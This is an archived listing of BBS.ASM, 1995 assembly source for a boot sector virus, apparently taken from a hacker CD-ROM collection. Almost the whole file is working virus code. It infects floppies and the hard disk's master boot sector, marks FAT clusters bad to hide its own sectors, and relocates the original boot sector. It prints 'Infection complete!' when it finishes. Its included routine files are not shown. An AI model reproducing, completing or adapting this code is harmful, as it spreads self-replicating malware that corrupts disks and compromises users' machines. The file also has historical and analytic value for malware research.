home *** CD-ROM | disk | FTP | other *** search
/ HaCKeRz Kr0nlcKLeZ 1 / HaCKeRz Kr0nlcKLeZ.iso / chibacity / gbbdisk.arj / BSTEALTH / LEVEL2 / BBS.ASM next >
Encoding:
Assembly Source File  |  1995-06-28  |  11.3 KB  |  287 lines

  1. ;The BBS Virus is a boot sector virus which remains resident in memory
  2. ;after boot so it can infect disks.
  3.  
  4. .model  tiny                    ;change to "small" for MASM versions that dont
  5. .code                           ;understand "tiny"
  6.  
  7.         ORG     100H
  8.  
  9. ;This function acts as the loader for the virus. It infects the disk in a:
  10. START:
  11.         mov     BYTE PTR ds:[CURR_DISK],0       ;infect drive #0 (a:)
  12.         mov     dl,0                            ;set up dl for CHECK_DISK
  13.         call    CHECK_DISK                      ;is floppy already infected?
  14.         jz      EXIT_BAD                        ;yes, just exit
  15.         call    INIT_FAT_MANAGER                ;initialize FAT management routines
  16.         call    INFECT_FLOPPY                   ;no, go infect the diskette
  17. EXIT_NOW:
  18.         mov     ah,9                            ;say infection ok
  19.         mov     dx,OFFSET OK_MSG
  20.         int     21H
  21.         mov     ax,4C00H                        ;exit to DOS
  22.         int     21H
  23.  
  24. EXIT_BAD:
  25.         mov     ah,9                            ;say there was a problem
  26.         mov     dx,OFFSET ERR_MSG
  27.         int     21H
  28.         mov     ax,4C01H                        ;exit with error code
  29.         int     21H
  30.  
  31. OK_MSG  DB      'Infection complete!$'
  32. ERR_MSG DB      'Infection process could not be completed!$'
  33.  
  34. ;*******************************************************************************
  35. ;* BIOS DATA AREA                                                              *
  36. ;*******************************************************************************
  37.  
  38.         ORG     413H
  39.  
  40. MEMSIZE DW      640                     ;size of memory installed, in KB
  41.  
  42. ;*******************************************************************************
  43. ;* VIRUS CODE STARTS HERE                                                      *
  44. ;*******************************************************************************
  45.  
  46. VIR_SIZE        EQU     2       ;size of virus, in sectors
  47.  
  48.         ORG     7C00H - 512*VIR_SIZE - 512
  49.  
  50. BBS:                            ;A label for the beginning of the virus
  51.  
  52. INCLUDE INT13H.ASM              ;include interrupt 13H main routine
  53.  
  54. ;This routine checks the status of the diskette motor flag for the drive in
  55. ;dl. If the motor is on, it returns with nz, else it returns with z.
  56. CHECK_MOTOR:
  57.         push    bx
  58.         push    dx
  59.         push    es
  60.         xor     bx,bx
  61.         mov     es,bx                           ;es=0
  62.         mov     bx,43FH                         ;motor status at 0:43FH
  63.         mov     bl,es:[bx]
  64.         inc     dl
  65.         and     bl,dl                           ;is motor on? ret with flag set
  66.         pop     es
  67.         pop     dx
  68.         pop     bx
  69.         ret
  70.  
  71. ;*******************************************************************************
  72. ;See if disk dl is infected already. If so, return with Z set. This
  73. ;does not assume that registers have been saved, and saves/restores everything
  74. ;but the flags.
  75.  
  76. CHECK_DISK:
  77.         push    ax                              ;save everything
  78.         push    bx
  79.         push    cx
  80.         push    dx
  81.         push    si
  82.         push    di
  83.         push    bp
  84.         push    ds
  85.         push    es
  86.  
  87.         mov     ax,cs
  88.         mov     ds,ax
  89.         mov     es,ax
  90.         mov     bx,OFFSET SCRATCHBUF            ;buffer for the boot sector
  91.         mov     dh,0                            ;head 0
  92.         mov     cx,1                            ;track 0, sector 1
  93.         mov     ax,201H                         ;BIOS read function
  94.         push    ax
  95.         int     40H                             ;do double read to
  96.         pop     ax                              ;avoid problems with just
  97.         int     40H                             ;changed disk
  98.         jnc     CD1
  99.         xor     al,al                           ;act as if infected
  100.         jmp     SHORT CD2                       ;in the event of an error
  101. CD1:    call    IS_VBS                          ;see if viral boot sec (set z)
  102. CD2:    pop     es                              ;restore everything
  103.         pop     ds                              ;except the z flag
  104.         pop     bp
  105.         pop     di
  106.         pop     si
  107.         pop     dx
  108.         pop     cx
  109.         pop     bx
  110.         pop     ax
  111.         ret
  112.  
  113.  
  114. ;*******************************************************************************
  115. ;This routine puts the virus on the floppy disk. It has no safeguards to prevent infecting
  116. ;an already infected disk. That must occur at a higher level.
  117. ;On entry, [CURR_DISK] must contain the drive number to act upon.
  118.  
  119. INCLUDE FATMAN.ASM
  120.  
  121. INFECT_FLOPPY:
  122.         push    ax
  123.         push    bx
  124.         push    cx
  125.         push    dx
  126.         push    si
  127.         push    di
  128.         push    bp
  129.         push    ds
  130.         push    es
  131.         mov     ax,cs
  132.         mov     ds,ax
  133.         mov     es,ax
  134.         mov     bx,VIR_SIZE+1                   ;number of sectors requested
  135.         call    FIND_FREE                       ;find free space on disk
  136.         jnc     INF1                            ;exit now if no space
  137. IFX:    pop     es
  138.         pop     ds
  139.         pop     bp
  140.         pop     di
  141.         pop     si
  142.         pop     dx
  143.         pop     cx
  144.         pop     bx
  145.         pop     ax
  146.         ret
  147.  
  148. INF1:   push    cx
  149.         mov     dx,cx                           ;dx=cluster to start marking
  150.         mov     cx,VIR_SIZE+1                   ;sectors requested
  151.         call    MARK_CLUSTERS                   ;mark required clusters bad
  152.         call    UPDATE_FAT_SECTOR               ;and write it to disk
  153.  
  154.         mov     ax,0201H
  155.         mov     bx,OFFSET SCRATCHBUF
  156.         mov     cx,1
  157.         mov     dh,ch
  158.         mov     dl,[CURR_DISK]
  159.         int     40H                             ;read original boot sector
  160.  
  161.         mov     si,OFFSET SCRATCHBUF + 3        ;BS_DATA in current sector
  162.         mov     di,OFFSET BOOT_START + 3
  163.         mov     cx,59                           ;copy boot sector disk info over
  164.         rep     movsb                           ;to new boot sector
  165.         mov     di,OFFSET END_BS_CODE
  166.         mov     si,di
  167.         sub     si,(OFFSET BOOT_START - OFFSET SCRATCHBUF)
  168.         mov     cx,7E00H                        ;so boot works right on
  169.         sub     cx,di
  170.         rep     movsb                           ;floppies too
  171.  
  172.         pop     cx
  173.         call    CLUST_TO_ABSOLUTE               ;set cx,dx up with trk, sec, hd info
  174.         xor     dl,dl
  175.         mov     ds:[VIRCX],cx
  176.         mov     ds:[VIRDX],dx
  177.  
  178.         mov     dl,ds:[CURR_DISK]
  179.         mov     bx,OFFSET BBS
  180.         mov     si,VIR_SIZE+1                   ;read/write VIR_SIZE+1 sectors
  181. INF2:   push    si
  182.         mov     ax,0301H                        ;read/write 1 sector
  183.         int     40H                             ;call BIOS to write it
  184.         pop     si
  185.         jc      IFEX                            ;exit if it fails
  186.         add     bx,512                          ;increment read buffer
  187.         inc     cl                              ;get ready to do next sector--inc sector ct
  188.         cmp     cl,BYTE PTR [SECS_PER_TRACK]    ;last sector on track?
  189.         jbe     INF3                            ;no, continue
  190.         mov     cl,1                            ;yes, set sector=1
  191.         inc     dh                              ;try next side
  192.         cmp     dh,2                            ;last side?
  193.         jb      INF3                            ;no, continue
  194.         xor     dh,dh                           ;yes, set side=0
  195.         inc     ch                              ;and increment track count
  196. INF3:   dec     si
  197.         jnz     INF2
  198.         mov     ax,0301H
  199.         mov     bx,OFFSET BOOT_START
  200.         mov     cx,1
  201.         mov     dh,ch
  202.         mov     dl,[CURR_DISK]
  203.         int     40H                             ;write viral boot sector into boot sector
  204. IFEX:   jmp     IFX
  205.  
  206.  
  207. ;*******************************************************************************
  208. ;Infect Hard Disk Drive AL with this virus. This involves the following steps:
  209. ;A) Read the present boot sector. B) Copy it to Track 0, Head 0, Sector 7.
  210. ;C) Copy the disk parameter info into the viral boot sector in memory. D) Copy
  211. ;the viral boot sector to Track 0, Head 0, Sector 1. E) Copy the BBS
  212. ;routines to Track 0, Head 0, Sector 2, 5 sectors total. The present MBS
  213. ;should already be in memory at SCRATCHBUF when this is called!
  214.  
  215. INFECT_HARD:
  216.         mov     bx,OFFSET BBS                   ;and go write it at
  217.         mov     dx,80H                          ;drive c:, head 0
  218.         mov     ds:[VIRDX],dx                   ;save where virus goes
  219.         mov     cx,0002H                        ;track 0, sector 2
  220.         mov     ds:[VIRCX],cx
  221.         mov     ax,0300H + VIR_SIZE + 1         ;BIOS write
  222.         pushf                                   ;virus + original mbs to disk
  223.         call    DWORD PTR [OLD_13H]
  224.  
  225.         mov     si,OFFSET SCRATCHBUF + 1BEH     ;set up partition table
  226.         mov     di,OFFSET PART
  227.         mov     cx,40H
  228.         rep     movsb
  229.  
  230.         mov     WORD PTR ds:[BS_SECS_PER_TRACK],64 ;make this big enough to work
  231.         mov     bx,OFFSET BOOT_START
  232.         mov     dx,80H                          ;head 0, drive c:
  233.         mov     cx,1                            ;track 0, sector 1
  234.         mov     ax,301H                         ;write 1 sector
  235.         pushf
  236.         call    DWORD PTR [OLD_13H]
  237.  
  238.         ret
  239.  
  240.  
  241. ;*******************************************************************************
  242. ;This routine determines if a hard drive C: exists, and returns NZ if it does,
  243. ;Z if it does not.
  244. IS_HARD_THERE:
  245.         push    ds
  246.         xor     ax,ax
  247.         mov     ds,ax
  248.         mov     bx,475H                         ;Get hard disk count from bios
  249.         mov     al,[bx]                         ;put it in al
  250.         pop     ds
  251.         or      al,al                           ;return z set/reset
  252.         ret
  253.  
  254.  
  255. ;*******************************************************************************
  256. ;Determine whether the boot sector in SCRATCHBUF is the viral boot sector.
  257. ;Returns Z if it is, NZ if not. The first 30 bytes of code, starting at BOOT,
  258. ;are checked to see if they are identical. If so, it must be the viral boot
  259. ;sector. It is assumed that es and ds are properly set to this segment when
  260. ;this is called.
  261.  
  262. IS_VBS:
  263.         push    si                              ;save these
  264.         push    di
  265.         cld
  266.         mov     di,OFFSET BOOT                  ;set up for a compare
  267.         mov     si,OFFSET SCRATCHBUF + (OFFSET BOOT - OFFSET BOOT_START)
  268.  
  269.         mov     cx,15
  270.         repz    cmpsw                           ;compare 30 bytes
  271.         pop     di                              ;restore these
  272.         pop     si
  273.         ret                                     ;and return with z properly set
  274.  
  275.  
  276. ;*******************************************************************************
  277. ;* A SCRATCH PAD BUFFER FOR DISK READS AND WRITES                              *
  278. ;*******************************************************************************
  279.  
  280.         ORG     7C00H - 512
  281.  
  282. SCRATCHBUF:                                     ;buffer for virus disk read/write
  283.  
  284. INCLUDE BOOT.ASM                                ;include boot sector code
  285.  
  286.         END     START
  287.